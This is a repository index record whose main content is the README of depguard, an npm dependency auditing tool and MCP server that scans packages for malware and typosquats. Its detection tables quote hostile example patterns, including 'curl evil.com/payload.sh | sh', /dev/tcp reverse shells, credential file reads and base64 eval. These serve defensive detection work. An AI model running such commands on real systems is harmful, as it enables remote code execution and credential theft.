{"id":47622371,"url":"https://github.com/mopanc/depguard","last_synced_at":"2026-04-26T09:03:40.575Z","repository":{"id":344593800,"uuid":"1182357672","full_name":"mopanc/depguard","owner":"mopanc","description":"Audit npm packages for security, maintenance, licenses and dependencies. Recommends install or write-from-scratch.","archived":false,"fork":false,"pushed_at":"2026-04-09T06:51:10.000Z","size":533,"stargazers_count":11,"open_issues_count":19,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-09T08:26:35.370Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mopanc.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-03-15T12:12:29.000Z","updated_at":"2026-04-09T06:51:15.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/mopanc/depguard","commit_stats":null,"previous_names":["mopanc/depguard"],"tags_count":21,"template":false,"template_full_name":null,"purl":"pkg:github/mopanc/depguard","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mopanc%2Fdepguard","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mopanc%2Fdepguard/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mopanc%2Fdepguard/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mopanc%2Fdepguard/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mopanc","download_url":"https://codeload.github.com/mopanc/depguard/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mopanc%2Fdepguard/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32291347,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-26T08:29:33.829Z","status":"ssl_error","status_checked_at":"2026-04-26T08:29:18.366Z","response_time":129,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2026-04-01T22:21:58.187Z","updated_at":"2026-04-26T09:03:40.569Z","avatar_url":"https://github.com/mopanc.png","language":"TypeScript","funding_links":["https://github.com/sponsors/mopanc"],"categories":[],"sub_categories":[],"readme":"# depguard-cli\n\nMCP security server for AI coding agents. 12 tools: **static code analysis**, pre-install guardian, AI hallucination guard, dead dependency detection, vulnerability audit, supply chain attack detection, smart recommendations, and **CycloneDX 1.6 SBOM generation**.\n\nYour AI agent verifies every `npm install` before it happens. Tarball download and source code scanning detects malware patterns, obfuscation, and behavioral mismatches. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.\n\n## Why this exists\n\nI work on industrial software where every event has to be logged and recoverable. Customers trust the system because the audit trail makes the system trustworthy.\n\nWhen I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem — install 1,000 packages, hope for the best. depguard is my attempt to bring the same auditability mindset to the JavaScript dependencies we depend on every day: verify before installing, audit what's already there, generate an SBOM your security team can actually use.\n\nZero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.\n\n## Install\n\n```bash\nnpm install -g depguard-cli\n```\n\nOr use directly:\n\n```bash\nnpx depguard-cli audit express\n```\n\n## CLI\n\n```bash\n# Full audit report (optionally pin a version)\ndepguard-cli audit \u003cpackage[@version]\u003e [--target-license MIT] [--json]\n\n# Search npm for packages\ndepguard-cli search \u003ckeywords...\u003e [--limit 10] [--json]\n\n# Score a package 0-100\ndepguard-cli score \u003cpackage\u003e [--target-license MIT] [--json]\n\n# Get install/write recommendation\ndepguard-cli should-use \u003cintent...\u003e [--threshold 60] [--json]\n\n# Pre-install guardian (verify + audit + allow/warn/block)\ndepguard-cli guard \u003cpackage\u003e [--threshold 60] [--block] [--json]\n\n# Detect unused dependencies\ndepguard-cli sweep [path] [--include-dev] [--json]\n\n# Deep transitive dependency tree audit\ndepguard-cli audit-deep \u003cpackage\u003e [--json]\n\n# AI code review (detect debris left by AI agents)\ndepguard-cli review [path] [--full] [--json]\n\n# Generate a CycloneDX 1.6 SBOM (Software Bill of Materials)\ndepguard-cli sbom \u003cpath/package.json\u003e [--include-vex] [--include-dev] [-o out.json]\n\n# Local usage statistics (calls, tokens saved, threats blocked)\ndepguard-cli stats [--json]\n```\n\n### Examples\n\n```bash\n# Audit express for an Apache-2.0 project\ndepguard-cli audit express --target-license Apache-2.0\n\n# Audit a specific installed version (not just latest)\ndepguard-cli audit express@4.17.1\n\n# Find date formatting libraries\ndepguard-cli search date formatting --limit 5\n\n# Score a package\ndepguard-cli score lodash --json\n\n# Should I install or write my own?\ndepguard-cli should-use \"http client\" --threshold 70\n\n# Check before installing — blocks nonexistent/typosquat packages\ndepguard-cli guard expresss\n# [WARN] expresss\n#   Possible typosquat of: express\n\n# Find unused dependencies in your project\ndepguard-cli sweep . --include-dev\n```\n\n## API\n\n```typescript\nimport { audit, search, score, scoreFromReport, shouldUse, guard, verify, sweep, auditBulk, auditProject, generateSBOM } from 'depguard-cli'\n\n// Full audit report (now includes static code analysis)\nconst report = await audit('express', 'MIT')\nconsole.log(report.vulnerabilities.total)      // 0\nconsole.log(report.securityFindings)           // [] (clean) or SecurityFinding[]\nconsole.log(report.codeAnalysis.filesAnalyzed) // 42\nconsole.log(report.licenseCompatibility.compatible) // true\nconsole.log(report.weeklyDownloads)            // 35000000\n\n// Search packages\nconst results = await search('date formatting', { limit: 5 })\nresults.forEach(r =\u003e console.log(`${r.score}/100 ${r.name}`))\n\n// Score 0-100\nconst result = await score('lodash', { targetLicense: 'MIT' })\nconsole.log(result.total)       // 82\nconsole.log(result.breakdown)   // { security: 100, maintenance: 75, ... }\n\n// Install or write from scratch?\nconst rec = await shouldUse('http client')\nconsole.log(rec.action)     // \"install\"\nconsole.log(rec.package)    // \"axios\"\nconsole.log(rec.reasoning)  // \"axios scores 85/100 (≥60) — safe to install\"\n\n// Pre-install guardian — verify + audit + decision\nconst check = await guard('expresss')\nconsole.log(check.exists)           // true (but suspicious)\nconsole.log(check.possibleTyposquat) // true\nconsole.log(check.similarTo)        // [\"express\"]\nconsole.log(check.decision)         // \"warn\"\n\n// AI hallucination guard — does this package even exist?\nconst exists = await verify('ai-hallucinated-pkg')\nconsole.log(exists.exists)          // false\n\n// Dead dependency detection\nconst sweepResult = await sweep('.', { includeDevDependencies: true })\nconsole.log(sweepResult.unused)     // [{ name: 'lodash', status: 'unused', ... }]\nconsole.log(sweepResult.estimatedSavingsKB) // 1400\n```\n\n## Scoring\n\nEach package is scored 0-100 across five dimensions:\n\n| Dimension | Weight | What it measures |\n|-----------|--------|------------------|\n| Security | 30% | Known CVEs, advisories, and static code analysis findings |\n| Maintenance | 25% | Last publish date, version count, deprecation |\n| Popularity | 20% | Weekly downloads (log scale) |\n| License | 15% | Compatibility with your project license |\n| Dependencies | 10% | Dependency count, install scripts |\n\nWeights are configurable via the `weights` option in `score()`.\n\n### Decision thresholds (`shouldUse`)\n\n| Score | Action |\n|-------|--------|\n| \u003e= 60 | `install` — safe to use |\n| 40-59 | `caution` — review before using |\n| \u003c 40 | `write-from-scratch` — better to write your own |\n\nThe threshold is configurable via `--threshold` (CLI) or `threshold` option (API).\n\n## Token Savings\n\nEvery MCP tool response includes a `tokenSavings` field that shows how many LLM tokens you save compared to manual research (web searches, page fetches, reasoning).\n\n```json\n\"tokenSavings\": {\n  \"responseTokens\": 47,\n  \"manualEstimate\": 11100,\n  \"saved\": 11053,\n  \"percentSaved\": 100,\n  \"manualSteps\": [\n    \"WebSearch: \\\"{package} npm quality maintenance\\\" (~800 tokens)\",\n    \"WebFetch: npm registry page (~3000 tokens)\",\n    \"WebFetch: GitHub repo for activity/stars (~3000 tokens)\",\n    \"WebSearch: \\\"{package} vulnerabilities\\\" (~800 tokens)\",\n    \"WebFetch: advisories page (~3000 tokens)\",\n    \"Reasoning: compute weighted score (~500 tokens)\"\n  ]\n}\n```\n\nThis is automatically included in every response — no configuration needed. It helps teams quantify the cost savings of using depguard in their AI workflows.\n\n## MCP Server\n\ndepguard includes a built-in [MCP](https://modelcontextprotocol.io/) (Model Context Protocol) server for AI agent integration. It works with **any MCP-compatible client**.\n\n### Compatible AI clients\n\n| Client | Configuration |\n|--------|--------------|\n| Claude Code | `.mcp.json` or `~/.claude/settings.json` |\n| Claude Desktop | `claude_desktop_config.json` |\n| Cursor | MCP settings in IDE |\n| Windsurf | MCP settings in IDE |\n| Continue.dev | `config.json` MCP section |\n| Cline / Roo Code | MCP settings |\n\n### Setup\n\nUsing npx (no install needed):\n\n```json\n{\n  \"mcpServers\": {\n    \"depguard\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"depguard-cli\", \"--mcp\"]\n    }\n  }\n}\n```\n\nOr if installed globally:\n\n```json\n{\n  \"mcpServers\": {\n    \"depguard\": {\n      \"command\": \"depguard-cli\",\n      \"args\": [\"--mcp\"]\n    }\n  }\n}\n```\n\nOr via Claude Code CLI:\n\n```bash\nclaude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp\n```\n\n### Available tools\n\n| Tool | Description |\n|------|-------------|\n| `depguard_audit` | Full security audit with static code analysis, vulnerabilities, and install script scanning. Accepts optional `version` to audit a specific installed version. |\n| `depguard_audit_bulk` | Audit multiple packages in a single call |\n| `depguard_audit_project` | Audit all dependencies from a package.json file path. Scans transitive deps via lock file and audits the `packageManager` field. |\n| `depguard_search` | Search npm for packages by keywords |\n| `depguard_score` | Score a package 0-100 |\n| `depguard_should_use` | Recommend install, use native Node.js, or write from scratch |\n| `depguard_guard` | Pre-install guardian: verify, audit, allow/warn/block decision |\n| `depguard_verify` | AI hallucination guard: check if a package exists + typosquatting |\n| `depguard_sweep` | Dead dependency detection: find unused packages in a project |\n| `depguard_audit_deep` | Deep transitive dependency tree audit with vulnerability aggregation |\n| `depguard_review` | AI Code Review: detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files) |\n| `depguard_sbom` | Generate a CycloneDX 1.6 SBOM (with optional VEX vulnerability data) for compliance, supply-chain, and EU CRA / US EO 14028 use cases |\n\n**Which tool should I use?**\n\n| Situation | Tool |\n|-----------|------|\n| \"I need X functionality\" | `depguard_should_use` |\n| \"Install package Y\" | `depguard_guard` |\n| \"Audit my project\" | `depguard_audit_project` |\n| \"Compare A vs B vs C\" | `depguard_audit_bulk` |\n| \"Deep dive on package Y\" | `depguard_audit` |\n| \"Find a library for X\" | `depguard_search` |\n| \"Clean up unused deps\" | `depguard_sweep` |\n| \"Review my code\" | `depguard_review` |\n| \"Generate an SBOM\" / \"I need a CycloneDX file\" | `depguard_sbom` |\n\n### Bulk audit\n\nAudit all project dependencies in a single call. Accepts a list of package names or a dependencies object directly from `package.json`:\n\n```typescript\n// Via API\nimport { auditBulk } from 'depguard-cli'\n\nconst report = await auditBulk(['react', 'express', 'lodash'], { targetLicense: 'MIT' })\nconsole.log(report.total)       // 3\nconsole.log(report.vulnerable)  // 2\nconsole.log(report.summary)     // { critical: 0, high: 2, moderate: 5, low: 3 }\n```\n\nVia MCP, the AI agent can pass the dependencies object from `package.json` directly — no need to extract package names manually.\n\n### Project audit\n\nAudit all dependencies from a `package.json` file in one call. When a lock file is present (`package-lock.json`, `pnpm-lock.yaml`, `yarn.lock`, or `bun.lock`), depguard also scans all transitive dependencies for known vulnerabilities and audits the `packageManager` field:\n\n```typescript\nimport { auditProject } from 'depguard-cli'\n\nconst report = await auditProject('./package.json', {\n  includeDevDependencies: true,  // also audit devDependencies\n})\n\n// Direct dependency audit results\nconsole.log(report.summary)            // { critical: 0, high: 2, moderate: 5, low: 3 }\n\n// Transitive dependency vulnerabilities (from lock file)\nconsole.log(report.transitiveSummary)  // { totalDeps: 800, vulnerable: 12, critical: 1, ... }\n\n// Package manager audit (e.g. yarn@4.5.3)\nconsole.log(report.packageManagerAudit?.vulnerabilities)\n```\n\nVia MCP, the agent just passes the file path — depguard reads it, detects the project license, scans the lock file for transitive deps, and audits everything.\n\n### SBOM generation (CycloneDX 1.6)\n\nGenerate a Software Bill of Materials in CycloneDX 1.6 format for compliance with the **EU Cyber Resilience Act**, **US Executive Order 14028 / OMB M-22-18**, SOC 2, FedRAMP, and any enterprise procurement process that requires SBOMs from suppliers. The output is consumed unchanged by downstream tools like Dependency-Track, Trivy, Grype, and OWASP DT.\n\n```bash\n# Write SBOM to disk (109 components for the depguard repo itself)\ndepguard-cli sbom ./package.json -o sbom.cdx.json\n\n# Include VEX vulnerability data (CVEs/GHSAs inline, with CVSS + patched versions)\ndepguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json\n```\n\n```typescript\nimport { generateSBOM } from 'depguard-cli'\n\nconst bom = await generateSBOM('./package.json', {\n  includeVex: true,\n  includeDevDependencies: true,\n})\nconsole.log(bom.specVersion)         // '1.6'\nconsole.log(bom.components?.length)  // 109\nconsole.log(bom.vulnerabilities)     // [{ id: 'GHSA-...', ratings: [...], affects: [...] }, ...]\n```\n\nThe CycloneDX serialization is implemented natively in TypeScript against the public CycloneDX 1.6 JSON Schema — depguard does **not** depend on `@cyclonedx/cyclonedx-library` or any other runtime package, preserving the zero-runtime-dependencies guarantee. Output validity is verified against the official CycloneDX validator.\n\nPURLs follow the [Package URL spec](https://github.com/package-url/purl-spec/blob/main/PURL-TYPES.rst#npm) (`pkg:npm/lodash@4.17.21`, `pkg:npm/%40types/node@20.0.0`). Integrity hashes (SHA-512) are extracted from `package-lock.json` and converted from base64 to hex per the CycloneDX schema.\n\n## Pre-Install Guardian\n\nThe `guard` command is the recommended entry point for AI agents. Before installing any package, it runs three checks in sequence:\n\n1. **Existence check** — Does the package exist on npm? (blocks AI hallucinations)\n2. **Typosquatting detection** — Is the name suspiciously similar to a popular package? (Levenshtein distance against 100+ top packages)\n3. **Security audit** — Score, vulnerabilities, deprecated status, install script analysis\n\n```bash\n# Safe package\ndepguard-cli guard express\n# [ALLOW] express\n#   Score: 82/100 — safe to install\n\n# Typosquat attempt\ndepguard-cli guard expresss\n# [WARN] expresss\n#   Possible typosquat of: express\n#   Score: 45/100 is below threshold 60\n\n# Nonexistent package (AI hallucination)\ndepguard-cli guard ai-made-up-package\n# [BLOCK] ai-made-up-package\n#   Package does NOT exist on npm!\n```\n\nUse `--block` to escalate all warnings to blocks (useful in CI):\n\n```bash\ndepguard-cli guard sketchy-lib --block\n```\n\n### AI Hallucination Guard\n\nThe `verify` tool is a lightweight version of `guard` — it only checks if a package exists and whether the name is a possible typosquat. No audit, no scoring. Fast enough to run on every `npm install` suggestion from an AI agent.\n\n```typescript\nimport { verify } from 'depguard-cli'\n\nconst result = await verify('expresss')\nconsole.log(result.exists)           // true\nconsole.log(result.possibleTyposquat) // true\nconsole.log(result.similarTo)        // [\"express\"]\n```\n\n## Dead Dependency Detection\n\nThe `sweep` command scans your project to find npm packages listed in `package.json` but not actually imported or used in source code.\n\n```bash\ndepguard-cli sweep . --include-dev\n\n# Scanned 42 files, 15 dependencies\n#\n# Unused (3):\n#   - lodash@^4.17.21 (~1400 KB)\n#   - moment@^2.29.4 (~800 KB)\n#   - request@^2.88.2 (~250 KB)\n#\n# Maybe unused (1):\n#   ? some-dev-tool@^1.0.0\n#\n# Estimated savings: ~2450 KB\n```\n\n**Smart detection:**\n- Scans all `.js`, `.ts`, `.mjs`, `.cjs`, `.jsx`, `.tsx` files for `import`/`require`/`export from`\n- Recognizes config-only dependencies (eslint, prettier, typescript, jest, vitest, babel, tailwind, etc.)\n- Detects binaries used in npm scripts\n- Handles `@types/*` packages paired with runtime dependencies\n- Marks untraced devDependencies as \"maybe-unused\" instead of \"unused\"\n- Estimates disk size savings\n\n```typescript\nimport { sweep } from 'depguard-cli'\n\nconst result = await sweep('.', { includeDevDependencies: true })\nconsole.log(result.unused)            // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]\nconsole.log(result.estimatedSavingsKB) // 2450\n```\n\n## Smart Advisor\n\nThe `should_use` tool now checks for native Node.js alternatives before recommending npm packages:\n\n```\n\"I need an http client\"     → Use native fetch() (Node 18+). No package needed.\n\"I need uuid generation\"    → Use crypto.randomUUID() (Node 19+). No package needed.\n\"I need deep cloning\"       → Use structuredClone() (Node 17+). No package needed.\n\"I need a date formatter\"   → Install date-fns (score 85). No native alternative.\n```\n\nCovers 20+ common intents including fetch, uuid, hashing, URL parsing, CLI args, testing, SQLite, glob, streams, compression, and more. Each recommendation includes example code and the minimum Node.js version required.\n\n## Fix Suggestions\n\nWhen vulnerabilities are found, each audit report includes actionable fix suggestions:\n\n```json\n\"fixSuggestions\": [\n  {\n    \"vulnerability\": \"Prototype Pollution\",\n    \"severity\": \"high\",\n    \"currentVersion\": \"4.17.19\",\n    \"fixVersion\": \"4.17.21\",\n    \"action\": \"upgrade\"\n  }\n]\n```\n\nIf no patch exists, `action` is `\"no-fix-available\"`.\n\n## GitHub Token\n\nFor higher GitHub Advisory API rate limits (60/hour → 5,000/hour), set a GitHub token:\n\n```bash\nexport GITHUB_TOKEN=ghp_your_token_here\n```\n\nNo special scopes needed — the token only identifies you for rate limiting. If already set (e.g. by `gh` CLI or GitHub Actions), depguard uses it automatically.\n\n## Install Script Analysis\n\ndepguard statically analyzes install scripts (`preinstall`, `install`, `postinstall`) for suspicious patterns commonly used in supply chain attacks:\n\n| Pattern | Severity | Example |\n|---------|----------|---------|\n| Remote code execution | Critical | `curl evil.com/payload.sh \\| sh` |\n| Reverse shells | Critical | `/dev/tcp/` connections |\n| Credential file access | Critical | Reading `~/.ssh/id_rsa`, `~/.npmrc`, `~/.aws` |\n| Sensitive env vars | Critical | Accessing `$NPM_TOKEN`, `$AWS_SECRET` |\n| Shell typosquatting | Critical | `/bin/ssh` instead of `/bin/sh` |\n| Obfuscated code | High | `eval(Buffer.from(..., \"base64\"))` |\n| Process spawning | High | `child_process`, `exec()`, `spawn()` |\n| Environment access | High | `process.env` usage |\n| External network calls | Moderate | HTTP requests to non-standard hosts |\n\nEach audit report includes a `scriptAnalysis` field with `suspicious` (boolean) and `risks` (array of detected patterns with severity and description). No scripts are executed — analysis is purely static pattern matching.\n\n## Static Code Analysis\n\n**New in v1.6.0.** depguard downloads the package tarball from npm, extracts JS files, and scans for 18+ malware patterns across 6 threat categories:\n\n| Category | Severity | What it detects |\n|----------|----------|-----------------|\n| `malware` | Critical | Eval of decoded payloads, reverse shells (net.connect), crypto mining (stratum+tcp) |\n| `data-exfiltration` | Critical/High | JSON.stringify(process.env), Object.keys(process.env), dynamic fetch URLs, credential file reads |\n| `code-execution` | High | eval(), new Function(), child_process.exec/spawn, shell spawning |\n| `obfuscation` | High/Medium | Long hex/unicode strings, base64 payloads, minified source in non-.min.js files |\n| `unexpected-behavior` | High/Medium | Network calls in a \"formatter\" package, filesystem access in a \"date utility\" |\n| `supply-chain` | Critical | Typosquatting patterns in install scripts |\n\nEvery finding includes a rich `SecurityFinding` object:\n\n```typescript\ninterface SecurityFinding {\n  severity: 'critical' | 'high' | 'medium' | 'low' | 'info'\n  category: 'malware' | 'supply-chain' | 'vulnerability' | 'obfuscation' | 'data-exfiltration' | 'unexpected-behavior' | 'code-execution'\n  title: string           // \"Serialization of entire environment\"\n  explanation: string     // Rich, human-readable explanation of WHY it's dangerous\n  evidence: string        // The exact code that triggered the detection\n  file: string            // Where it was found (e.g. \"src/index.js\")\n  recommendation: string  // What to do about it\n}\n```\n\n### Behavioral Mismatch Detection\n\ndepguard compares the package description and keywords against detected code behavior. A \"string formatter\" that makes network calls or a \"date utility\" that reads the filesystem is flagged as `unexpected-behavior` with a detailed explanation.\n\n### Impact on Scoring\n\nCritical code analysis findings cap the security score at 20/100. High findings cap at 45/100. This ensures that packages with suspicious source code cannot achieve high scores regardless of popularity or maintenance status.\n\n## Data sources\n\ndepguard combines two advisory databases for maximum coverage:\n\n| Source | What it catches |\n|--------|----------------|\n| **npm Registry** | Advisories from `npm audit` |\n| **GitHub Advisory Database** | GHSA advisories, often not in npm |\n\nResults are deduplicated, filtered by the current package version (only vulnerabilities that actually affect the installed version are reported), and each advisory includes a `source` field (`npm` or `github`).\n\n### Caching\n\nResults are cached in memory (5 min) and on disk at `~/.depguard/cache/` (24h). This means:\n- Repeated audits of the same package are instant (no network requests)\n- Cache survives process restarts\n- Expired entries are cleaned up automatically on startup\n\n## License compatibility\n\ndepguard checks license compatibility using a permissive-to-copyleft hierarchy:\n\n```\nPublic Domain (Unlicense, CC0) → Permissive (MIT, ISC, BSD, Apache-2.0)\n  → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL)\n```\n\nA dependency is compatible if its license is equally or more permissive than your project's target license.\n\n## Design principles\n\n- **Zero runtime dependencies** — only Node.js built-in APIs (`fetch`, `crypto`, `readline`)\n- **Never throws on network errors** — returns degraded results with warnings\n- **TypeScript strict mode** — full type safety\n- **100% offline tests** — all tests use mock fetch\n- **Cache-friendly** — 5-minute in-memory TTL to avoid rate limits\n\n## Development\n\n```bash\nnpm run build    # compile TypeScript\nnpm run lint     # ESLint (strict)\nnpm test         # 270 tests (all offline)\nnpm run check    # build + lint + test + audit\n```\n\n## About the author\n\ndepguard is built and maintained by **Jorge Morais** — Tech Lead at Balanças Marques in Braga, Portugal, working on edge-to-cloud systems for industrial operations. More on what I work on at [jorgemopanc.com](https://jorgemopanc.com) and [LinkedIn](https://www.linkedin.com/in/jorge-mopanc/).\n\nIf depguard saves you from installing a malicious package, catches a missed CVE, or unblocks a compliance audit, and you'd like to support the project, [GitHub Sponsors](https://github.com/sponsors/mopanc) is the cleanest way. No expectations — the tool is free and will stay so. Issues, PRs, and bug reports are equally welcome.\n\n## License\n\nApache-2.0 — see [LICENSE](LICENSE) for details.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmopanc%2Fdepguard","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmopanc%2Fdepguard","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmopanc%2Fdepguard/lists"}